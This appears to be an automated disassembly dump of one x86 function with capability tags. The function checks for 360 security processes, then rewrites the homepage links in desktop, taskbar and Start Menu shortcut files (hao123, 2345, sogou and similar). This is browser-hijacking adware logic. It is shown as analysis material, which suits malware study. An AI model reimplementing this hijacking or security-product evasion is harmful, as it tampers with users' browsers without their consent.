Function at 0x4dc457
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Parse pe header
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58be98
mov eax, dword fs:[0]
push eax
mov eax, 0x14ac
call fcn.004fc580
mov eax, dword [0x602c60]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8bb8
and dword [ebp - 4], 0
mov eax, dword [eax]
mov edi, 0x59ac08
push edi
push eax
call fcn.004fa9a7
mov ebx, eax
pop ecx
neg ebx
pop ecx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
inc bl
je 0x4dc507
lea ecx, [ebp - 0x14b8]
call fcn.004d7368
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x14b8]
call fcn.004b7b8d
lea ecx, [ebp - 0x14b8]
call fcn.004db8c1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14b8]
call fcn.004d748d
jmp 0x4dc650
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8bb8
mov dword [ebp - 4], 3
mov eax, dword [eax]
push 0x5afeec
push eax
call fcn.004fa9a7
mov ebx, eax
pop ecx
neg ebx
pop ecx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
inc bl
je 0x4dc650
and dword [ebp - 0x1284], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x1280]
push eax
push esi
mov dword [ebp - 0x1280], 0x22c
call sub.KERNEL32.dll_Process32FirstW
push 0x602968
lea ecx, [ebp - 0x128c]
mov ebx, eax
call fcn.00431ef7
mov dword [ebp - 4], 6
test ebx, ebx
je 0x4dc5fa
lea eax, [ebp - 0x125c]
push eax
call fcn.004fb22e
pop ecx
push eax
lea eax, [ebp - 0x125c]
push eax
lea ecx, [ebp - 0x128c]
call fcn.0043340b
push str.360tray.exe
lea ecx, [ebp - 0x128c]
call fcn.00431e0c
test eax, eax
je 0x4dc5f0
push str.zhudongfangyu.exe
lea ecx, [ebp - 0x128c]
call fcn.00431e0c
test eax, eax
je 0x4dc5f0
lea eax, [ebp - 0x1280]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4dc595
jmp 0x4dc5fa
mov dword [ebp - 0x1284], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1284], 0
jne 0x4dc63e
lea ecx, [ebp - 0x14b8]
call fcn.004d7368
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x14b8]
call fcn.004b7b8d
lea ecx, [ebp - 0x14b8]
call fcn.004db8c1
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x14b8]
call fcn.004d748d
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x128c]
add ecx, 0xfffffff0
call fcn.004310e3
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8ffd
mov dword [ebp - 4], 9
mov eax, dword [eax]
push edi
push eax
call fcn.004fa9a7
mov ebx, eax
pop ecx
neg ebx
pop ecx
sbb bl, bl
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
inc bl
je 0x4dd6e5
lea ecx, [ebp - 0x12ec]
call fcn.00432a3a
mov dword [ebp - 4], 0xb
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push str.SoftwareBaiduHao123hao123desk
call fcn.0043479c
mov byte [ebp - 4], 0xc
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x12ec]
call fcn.00434154
mov ebx, 0x59a2c0
test eax, eax
je 0x4dcae9
mov ecx, dword [0x606438]
lea eax, [ebp - 0x128c]
push eax
call fcn.004a8c6c
mov byte [ebp - 4], 0xd
mov ecx, dword [0x606438]
lea eax, [ebp - 0x129c]
push eax
call fcn.004a8cc6
mov byte [ebp - 4], 0xe
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0xf
push ecx
mov ecx, esp
mov dword [ebp - 0x1284], esp
mov esi, str.BaiduTn
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x1290]
push eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x12ec]
call fcn.00434b9b
mov byte [ebp - 4], 0x11
push dword [ebp - 0x128c]
lea ecx, [ebp - 0x1290]
call fcn.00431e0c
test eax, eax
je 0x4dc79c
push ecx
lea eax, [ebp - 0x128c]
mov ecx, esp
mov dword [ebp - 0x1288], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0x12
push ecx
mov ecx, esp
mov dword [ebp - 0x1284], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x13
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x12ec]
call fcn.0043c86d
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0x14
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
push str.TnFromIEHomePage
call fcn.0043479c
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x1284]
push eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x12ec]
call fcn.00434b9b
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1290]
call fcn.00433c20
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
mov eax, dword [ebp - 0x1290]
mov eax, dword [eax - 0xc]
mov esi, 0x5afe6c
test eax, eax
je 0x4dc8d3
push dword [ebp - 0x128c]
lea ecx, [ebp - 0x1290]
call fcn.00431e0c
test eax, eax
je 0x4dc8d3
mov eax, dword [ebp - 0x128c]
add eax, 0xfffffff0
push eax
call fcn.00431714
add eax, 0x10
mov dword [ebp - 0x1294], eax
mov byte [ebp - 4], 0x19
lea eax, [ebp - 0x1294]
push eax
lea eax, [ebp - 0x1284]
push esi
push eax
call fcn.004b01ac
add esp, 0x10
mov byte [ebp - 4], 0x1a
push eax
lea ecx, [ebp - 0x1294]
call fcn.00433c20
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
push ecx
lea eax, [ebp - 0x1294]
mov ecx, esp
mov dword [ebp - 0x1288], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0x1c
push ecx
mov ecx, esp
mov dword [ebp - 0x1284], esp
push str.TnFromIEHomePage
call fcn.0043479c
mov byte [ebp - 4], 0x1d
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x12ec]
call fcn.0043c86d
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1294]
add ecx, 0xfffffff0
call fcn.004310e3
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
push str.IEHomePage
call fcn.0043479c
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x1284]
push eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x12ec]
call fcn.00434b9b
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x1290]
call fcn.00433c20
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
mov eax, dword [ebp - 0x1290]
cmp dword [eax - 0xc], 0
je 0x4dc995
push dword [ebp - 0x129c]
lea ecx, [ebp - 0x1290]
call fcn.00431e0c
test eax, eax
je 0x4dc995
push ecx
lea eax, [ebp - 0x129c]
mov ecx, esp
mov dword [ebp - 0x1288], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0x23
push ecx
mov ecx, esp
mov dword [ebp - 0x1284], esp
push str.IEHomePage
call fcn.0043479c
mov byte [ebp - 4], 0x24
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x12ec]
call fcn.0043c86d
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0x25
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
mov ebx, str.NewBaiduTn
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x1284]
push eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x12ec]
call fcn.00434b9b
mov byte [ebp - 4], 0x27
push eax
lea ecx, [ebp - 0x1290]
call fcn.00433c20
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
push dword [ebp - 0x128c]
lea ecx, [ebp - 0x1290]
call fcn.00431e0c
test eax, eax
je 0x4dcab3
mov eax, dword [ebp - 0x128c]
add eax, 0xfffffff0
push eax
call fcn.00431714
add eax, 0x10
mov dword [ebp - 0x1294], eax
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x1294]
push eax
lea eax, [ebp - 0x1284]
push esi
push eax
call fcn.004b01ac
add esp, 0x10
mov byte [ebp - 4], 0x2b
push eax
lea ecx, [ebp - 0x1294]
call fcn.00433c20
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
push ecx
lea eax, [ebp - 0x1294]
mov ecx, esp
mov dword [ebp - 0x1288], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0x2d
push ecx
mov ecx, esp
mov dword [ebp - 0x1284], esp
push ebx
call fcn.0043479c
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x12ec]
call fcn.0043c86d
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x1294]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x1290]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x129c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x128c]
add ecx, 0xfffffff0
call fcn.004310e3
call fcn.0049d8d4
cmp eax, 0x17
jl 0x4dd6d6
lea ecx, [ebp - 0x12bc]
call fcn.00432a3a
mov byte [ebp - 4], 0x34
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push str._AppData_MicrosoftInternet_ExplorerQuick_LaunchUser_PinnedTaskBar
call fcn.0043479c
mov byte [ebp - 4], 0x35
lea eax, [ebp - 0x1054]
push eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x12bc]
call fcn.004b1dd7
mov byte [ebp - 4], 0x36
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push str.MicrosoftInternet_ExplorerQuick_Launch
call fcn.0043479c
mov byte [ebp - 4], 0x37
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.0049bb8c
mov byte [ebp - 4], 0x38
lea eax, [ebp - 0x1050]
push eax
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x39
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push str._AppData_MicrosoftInternet_ExplorerQuick_LaunchUser_PinnedStartMenu
call fcn.0043479c
mov byte [ebp - 4], 0x3a
lea eax, [ebp - 0x104c]
push eax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x12bc]
call fcn.004b1dd7
mov byte [ebp - 4], 0x3b
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
mov esi, 0x5ac68c
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x3c
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.004bab29
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x1048]
push eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x3e
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x3f
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.004bae83
mov byte [ebp - 4], 0x40
lea eax, [ebp - 0x1044]
push eax
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x41
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x42
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.004babf9
mov byte [ebp - 4], 0x43
lea eax, [ebp - 0x1040]
push eax
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x44
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x45
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.004bab71
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x103c]
push eax
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x47
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x48
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.0049bc11
mov byte [ebp - 4], 0x49
lea eax, [ebp - 0x1038]
push eax
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x4a
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x4b
push ecx
mov eax, esp
mov dword [ebp - 0x1284], esp
push eax
lea ecx, [ebp - 0x12bc]
call fcn.004badfb
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x1034]
push eax
mov byte [ebp - 4], 0x4a
lea ecx, [ebp - 0x12bc]
call fcn.0049be74
mov byte [ebp - 4], 0x4d
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8e88
mov byte [ebp - 4], 0x4e
push edi
mov ecx, eax
call fcn.00431e0c
test eax, eax
setne bl
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dcdaa
lea ecx, [ebp - 0x1054]
call fcn.00431e55
lea ecx, [ebp - 0x1050]
call fcn.00431e55
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8ee5
mov byte [ebp - 4], 0x50
push edi
mov ecx, eax
call fcn.00431e0c
test eax, eax
setne bl
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dce1a
lea ecx, [ebp - 0x104c]
call fcn.00431e55
lea ecx, [ebp - 0x1048]
call fcn.00431e55
lea ecx, [ebp - 0x1044]
call fcn.00431e55
lea ecx, [ebp - 0x1040]
call fcn.00431e55
lea ecx, [ebp - 0x103c]
call fcn.00431e55
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a8f42
mov byte [ebp - 4], 0x52
push edi
mov ecx, eax
call fcn.00431e0c
test eax, eax
setne bl
mov byte [ebp - 4], 0x4d
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dce69
lea ecx, [ebp - 0x1038]
call fcn.00431e55
lea ecx, [ebp - 0x1034]
call fcn.00431e55
push str.www.hao123.com
lea ecx, [ebp - 0x1030]
call fcn.0043479c
mov byte [ebp - 4], 0x54
push str.www.2345.com
lea ecx, [ebp - 0x102c]
call fcn.0043479c
mov byte [ebp - 4], 0x55
push str.6655.com
lea ecx, [ebp - 0x1028]
call fcn.0043479c
mov byte [ebp - 4], 0x56
push str.123.sogou.com
lea ecx, [ebp - 0x1024]
call fcn.0043479c
mov byte [ebp - 4], 0x57
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1020]
push eax
call fcn.004a8e2e
mov byte [ebp - 4], 0x58
mov ecx, dword [0x606438]
lea eax, [ebp - 0x101c]
push eax
call fcn.004a8d7a
mov byte [ebp - 4], 0x59
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1018]
push eax
call fcn.004a8d20
mov byte [ebp - 4], 0x5a
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1014]
push eax
call fcn.004a8dd4
mov byte [ebp - 4], 0x5b
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a905a
mov byte [ebp - 4], 0x5c
push edi
mov ecx, eax
call fcn.00431ed3
test eax, eax
setne bl
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dcf55
lea ecx, [ebp - 0x1030]
call fcn.00431e55
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a9114
mov byte [ebp - 4], 0x5e
push edi
mov ecx, eax
call fcn.00431ed3
test eax, eax
setne bl
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dcf99
lea ecx, [ebp - 0x102c]
call fcn.00431e55
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a90b7
mov byte [ebp - 4], 0x60
push edi
mov ecx, eax
call fcn.00431ed3
test eax, eax
setne bl
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dcfdd
lea ecx, [ebp - 0x1028]
call fcn.00431e55
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1284]
push eax
call fcn.004a9171
mov byte [ebp - 4], 0x62
push edi
mov ecx, eax
call fcn.00431ed3
test eax, eax
setne bl
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
test bl, bl
je 0x4dd021
lea ecx, [ebp - 0x1024]
call fcn.00431e55
and dword [ebp - 0x129c], 0
mov esi, 0x800
mov ebx, dword [ebp - 0x129c]
lea ebx, [ebp + ebx*4 - 0x1054]
mov eax, dword [ebx]
cmp dword [eax - 0xc], 0
je 0x4dd48a
lea ecx, [ebp - 0x12d4]
call fcn.004a86e3
mov byte [ebp - 4], 0x64
push dword [ebx]
lea ecx, [ebp - 0x12d4]
call fcn.004b6e50
test eax, eax
je 0x4dd47b
lea ecx, [ebp - 0x12d4]
call fcn.004a16b2
lea ecx, [ebp - 0x12d4]
mov dword [ebp - 0x1288], eax
call fcn.004a46c4
test eax, eax
jne 0x4dd46e
push 0x10
lea ecx, [ebp - 0x12d4]
call fcn.004a1690
test eax, eax
jne 0x4dd46e
lea eax, [ebp - 0x12a0]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.004c157a
mov byte [ebp - 4], 0x65
push 0x2e
push dword [ebp - 0x12a0]
call fcn.004faab9
pop ecx
pop ecx
test eax, eax
je 0x4dd45c
mov ecx, dword [ebp - 0x12a0]
sub eax, ecx
sar eax, 1
mov edx, eax
js 0x4dd45c
mov eax, dword [ecx - 0xc]
sub eax, edx
dec eax
push eax
lea eax, [ebp - 0x12a4]
push eax
lea ecx, [ebp - 0x12a0]
call fcn.004332b8
mov byte [ebp - 4], 0x66
push str.website
lea ecx, [ebp - 0x12a4]
call fcn.00431e0c
test eax, eax
jne 0x4dd234
push 0xffe
mov word [ebp - 0x1010], ax
xor ebx, ebx
lea eax, [ebp - 0x100e]
push ebx
push eax
call fcn.004fc1f0
add esp, 0xc
lea eax, [ebp - 0x1290]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.004c94f3
mov byte [ebp - 4], 0x67
push dword [ebp - 0x1290]
lea eax, [ebp - 0x1010]
push esi
push eax
push 0x59a2c0
push 0x59b0cc
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [ebp + ebx*4 - 0x1030]
cmp dword [eax - 0xc], 0
je 0x4dd1a7
push eax
lea eax, [ebp - 0x1010]
push eax
call fcn.004faa32
pop ecx
pop ecx
test eax, eax
je 0x4dd1a7
push dword [ebp + ebx*4 - 0x1020]
lea eax, [ebp - 0x1010]
push eax
call fcn.004fa9a7
pop ecx
pop ecx
test eax, eax
jne 0x4dd1af
inc ebx
cmp ebx, 4
jb 0x4dd16e
jmp 0x4dd225
push dword [ebp - 0x1290]
mov ebx, dword [ebp + ebx*4 - 0x1020]
push ebx
push 0x59b0cc
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push dword [ebp - 0x1290]
xor eax, eax
push esi
mov word [ebp - 0x1010], ax
lea eax, [ebp - 0x1010]
push eax
push 0x59a2c0
push str.Prop6
push str.A7AF692E_098D_4C08_A225_D433CA835ED0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x1010]
push eax
call fcn.004fb22e
pop ecx
test eax, eax
jne 0x4dd225
push dword [ebp - 0x1290]
push 0x5afbf4
push str.Prop6
push str.A7AF692E_098D_4C08_A225_D433CA835ED0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov byte [ebp - 4], 0x66
mov ecx, dword [ebp - 0x1290]
jmp 0x4dd442
push 0x5afbec
lea ecx, [ebp - 0x12a4]
call fcn.00431e0c
test eax, eax
jne 0x4dd343
lea ecx, [ebp - 0x131c]
call fcn.0049ac95
mov byte [ebp - 4], 0x69
lea eax, [ebp - 0x1298]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.004c94f3
mov byte [ebp - 4], 0x6a
lea eax, [ebp - 0x1298]
push eax
lea ecx, [ebp - 0x131c]
call fcn.004b8169
lea eax, [ebp - 0x1294]
push eax
lea ecx, [ebp - 0x131c]
call fcn.004aa573
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x1294]
call fcn.00433966
xor ebx, ebx
mov eax, dword [ebp + ebx*4 - 0x1030]
cmp dword [eax - 0xc], 0
je 0x4dd2de
push 0
push eax
lea ecx, [ebp - 0x1294]
call fcn.00432533
test eax, eax
js 0x4dd2de
mov eax, dword [ebp + ebx*4 - 0x1020]
push 0
push eax
lea ecx, [ebp - 0x1294]
call fcn.00432533
test eax, eax
js 0x4dd2e6
inc ebx
cmp ebx, 4
jb 0x4dd2a6
jmp 0x4dd30b
lea eax, [ebp + ebx*4 - 0x1020]
push eax
lea ecx, [ebp - 0x1314]
call fcn.00433c20
lea eax, [ebp - 0x1298]
push eax
lea ecx, [ebp - 0x131c]
call fcn.00499e4e
mov byte [ebp - 4], 0x6a
mov ecx, dword [ebp - 0x1294]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x69
mov ecx, dword [ebp - 0x1298]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x131c]
call fcn.0049acc5
jmp 0x4dd44a
push 0x59a82c
lea ecx, [ebp - 0x12a4]
call fcn.00431e0c
test eax, eax
jne 0x4dd44a
push 0x602968
lea ecx, [ebp - 0x128c]
call fcn.00431ef7
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x1284]
push eax
lea ecx, [ebp - 0x12d4]
call fcn.004c94f3
mov byte [ebp - 4], 0x70
push dword [ebp - 0x1284]
lea ecx, [ebp - 0x128c]
push esi
push esi
call fcn.00432606
push eax
push 0x59a2c0
push 0x59b0cc
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x128c]
call fcn.0049a45e
lea ecx, [ebp - 0x128c]
call fcn.00433966
xor ebx, ebx
mov eax, dword [ebp + ebx*4 - 0x1030]
cmp dword [eax - 0xc], 0
je 0x4dd400
push 0
push eax
lea ecx, [ebp - 0x128c]
call fcn.00432533
test eax, eax
js 0x4dd400
mov eax, dword [ebp + ebx*4 - 0x1020]
push 0
push eax
lea ecx, [ebp - 0x128c]
call fcn.00432533
test eax, eax
js 0x4dd408
inc ebx
cmp ebx, 4
jb 0x4dd3c8
jmp 0x4dd426
push dword [ebp - 0x1284]
mov ebx, dword [ebp + ebx*4 - 0x1020]
push ebx
push 0x59b0cc
push str.InternetShortcut
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov byte [ebp - 4], 0x6f
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x66
mov ecx, dword [ebp - 0x128c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x65
mov ecx, dword [ebp - 0x12a4]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x12a0]
add ecx, 0xfffffff0
call fcn.004310e3
cmp dword [ebp - 0x1288], 0
jne 0x4dd06a
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x12d4]
call fcn.004a8728
inc dword [ebp - 0x129c]
cmp dword [ebp - 0x129c], 9
jb 0x4dd02d
mov ecx, dword [0x606438]
lea eax, [ebp - 0x1288]
push eax
call fcn.004a8f9f
mov byte [ebp - 4], 0x75
push edi
mov ecx, eax
call fcn.00431ed3
mov ebx, eax
neg ebx
sbb bl, bl
mov byte [ebp - 4], 0x5b
mov ecx, dword [ebp - 0x1288]
add ecx, 0xfffffff0
call fcn.004310e3
inc bl
je 0x4dd685
lea ecx, [ebp - 0x12d4]
call fcn.00432a3a
mov byte [ebp - 4], 0x77
xor ebx, ebx
push ebx
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push str.CLSID00000000_0000_0000_0000_000000000002InstanceInitPropertyBag
call fcn.0043479c
mov byte [ebp - 4], 0x78
push SysReAllocString
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x12d4]
call fcn.00434682
cmp eax, ebx
je 0x4dd676
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
mov esi, 0x59a2c0
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x79
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
push str.method
call fcn.0043479c
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x1284]
push eax
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x12d4]
call fcn.00434b9b
mov byte [ebp - 4], 0x7b
mov eax, dword [ebp - 0x1284]
cmp dword [eax - 0xc], ebx
je 0x4dd664
push ecx
mov ecx, esp
mov dword [ebp - 0x1288], esp
push esi
call fcn.0043479c
mov byte [ebp - 4], 0x7c
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
mov edi, str.Param1
push edi
call fcn.0043479c
mov byte [ebp - 4], 0x7d
lea eax, [ebp - 0x128c]
push eax
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x12d4]
call fcn.00434b9b
mov byte [ebp - 4], 0x7e
mov eax, dword [ebp - 0x128c]
cmp dword [eax - 0xc], ebx
je 0x4dd652
lea ecx, [ebp - 0x128c]
call fcn.00433966
xor esi, esi
mov eax, dword [ebp + esi*4 - 0x1030]
cmp dword [eax - 0xc], ebx
je 0x4dd60e
push ebx
push eax
lea ecx, [ebp - 0x128c]
call fcn.00432533
test eax, eax
js 0x4dd60e
mov eax, dword [ebp + esi*4 - 0x1020]
push ebx
push eax
lea ecx, [ebp - 0x128c]
call fcn.00432533
test eax, eax
js 0x4dd616
inc esi
cmp esi, 4
jb 0x4dd5d9
jmp 0x4dd652
push ecx
lea eax, [ebp + esi*4 - 0x1020]
mov ecx, esp
mov dword [ebp - 0x1288], esp
push eax
call fcn.004324a9
mov byte [ebp - 4], 0x7f
push ecx
mov ecx, esp
mov dword [ebp - 0x1298], esp
push edi
call fcn.0043479c
mov byte [ebp - 4], 0x80
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x12d4]
call fcn.0043c86d
mov byte [ebp - 4], 0x7b
mov ecx, dword [ebp - 0x128c]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x77
mov ecx, dword [ebp - 0x1284]
add ecx, 0xfffffff0
call fcn.004310e3
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x12d4]
call fcn.00432a92
mov byte [ebp - 4], 0x57
mov edi, 0x4324dc
push edi
push 4
pop esi
push esi
push esi
lea eax, [ebp - 0x1020]
push eax
call fcn.004fc39f
mov byte [ebp - 4], 0x4d
push edi
push esi
push esi
lea eax, [ebp - 0x1030]
push eax
call fcn.004fc39f
mov byte [ebp - 4], 0x34
push edi
push 9
push esi
lea eax, [ebp - 0x1054]
push eax
call fcn.004fc39f
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x12bc]
call fcn.00432a92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12ec]
call fcn.00432a92
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
